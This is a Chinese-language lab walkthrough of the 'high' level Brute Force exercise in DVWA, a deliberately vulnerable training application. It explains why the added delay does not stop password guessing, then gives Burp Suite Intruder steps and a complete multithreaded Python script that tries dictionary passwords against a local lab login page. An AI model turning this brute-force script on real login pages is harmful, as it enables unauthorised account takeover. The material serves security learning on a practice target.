DVWA高等级通关指南-BruteForce

题目分析:

题目打开就是这种样子,输入一个用户名和密码。看看源码

看样子比中级多了两个stripslashes(
)
函数,这个函数的作用是去除字符串中的反斜杠,如果有两个反斜杠,则只去除一个。

而且可以看到代码中多了一个sleep,就是当失败后,会sleep
3秒再返回response,但依然没有限制IP尝试次数,或增加图片验证码,所以爆破依然可以轻松进行。这次我们用两种方法来进行爆破

1.BurpSuite

首先打开抓包,提取登录包,然后ctrl+i发送到intruder。

设置爆破位为password字段

加载字典,设置线程数为3,最好不要设置的太大,会使很多数据包丢失。

虽然这种方法慢点,但是依然可以破解出来。而且不需要任何编程知识,毕竟是神器呀~

爆破出密码

2.Python脚本

接下来让我们自己编写一个python脚本,多线程爆破,代码和注释如下

import requests 
#发送网络请求,建立网络连接,得到响应报文等
import threading #线程库
import queue #队列,实现多线程安全访通信

passwd = open('passwd.txt' ,'r') #读取字典文件
pw_list = [x.replace('\n','') for x in list(passwd)] #把字典写入到列表中
cookie={"security":"high","PHPSESSID":"fd3c76123310e1e179738d6c929eb9c6"} 
#链接cookie
true_state = 'Welcome to the password protected area admin' 
#密码正确的标志,如果响应报文中出现这个字符串,说明破解成功

def get_url(url_queue): #url放入队列函数,参数是共享的队列
    for i in range(len(pw_list)): #字典列表长度
        
url_queue.put('http://192.168.150.131/dvwa/vulnerabilities/brute?username=admin&
password=%s&Login=Login'%pw_list[i]) 
#将访问的链接放入队列,访问的链接是由网页路径和一系列参数组合而成的,其中密码项是刚才读取的字典列表中的值
        print "Password Dictionary Loaded Successfully!" #所有链接都放入到队列中后返回成功语句。

def get_res(url_queue, id ): #对队列中的链接地址进行访问,参数是链接队列和线程id
    while True: #循环
        url = url_queue.get() #从链接队列中取一个链接
        res = requests.get(url,cookies=cookie).content 
#访问该链接并取得网页内容,cookie设置为自己的cookie。
        print "Thread %d is Testing:'%s'"%(id,url.split('=')[2].split('&')[0]) 
#输出现在在尝试的密码项
        if true_state in res: #判断响应页面中是否有密码正确的标志
            print "Password Test Finished!Password is 
'%s'"%url.split('=')[2].split('&')[0] #输出正确的密码
            break

if __name__=='__main__': #主函数
    url_queue = queue.Queue(maxsize=10000) #定义一个最大尺寸为10000的队列
    get_url_thread = threading.Thread(target=get_url,args=(url_queue,)) 
#初始化放入队列函数的线程,加载密码字典,生成链接并放入队列中
    pw_test_thread_list = [] #声明密码爆破线程列表
    thread_num = 10 #定义密码爆破线程数
    for i in range(thread_num): #循环线程数
        pw_test_thread = threading.Thread(target=get_res,args=(url_queue,i)) 
#初始化密码爆破线程
        pw_test_thread_list.append(pw_test_thread) #将密码爆破线程放入密码爆破线程列表
    get_url_thread.start() #开启放入队列线程
    for i in range(thread_num): #循环开启密码爆破列表中的线程
        pw_test_thread_list[i].start()
    get_url_thread.join() #放入队列线程开始执行
    for i in range(thread_num):
        pw_test_thread_list[i].join() #密码爆破线程开始执行

由于时间关系,只测试几个密码看是否能够破解成功

由上图可知,密码测试成功,说明该脚本可以实现爆破功能。

路漫漫其修远兮,吾将上下而求索

点赞

发表评论

[2;3Rer>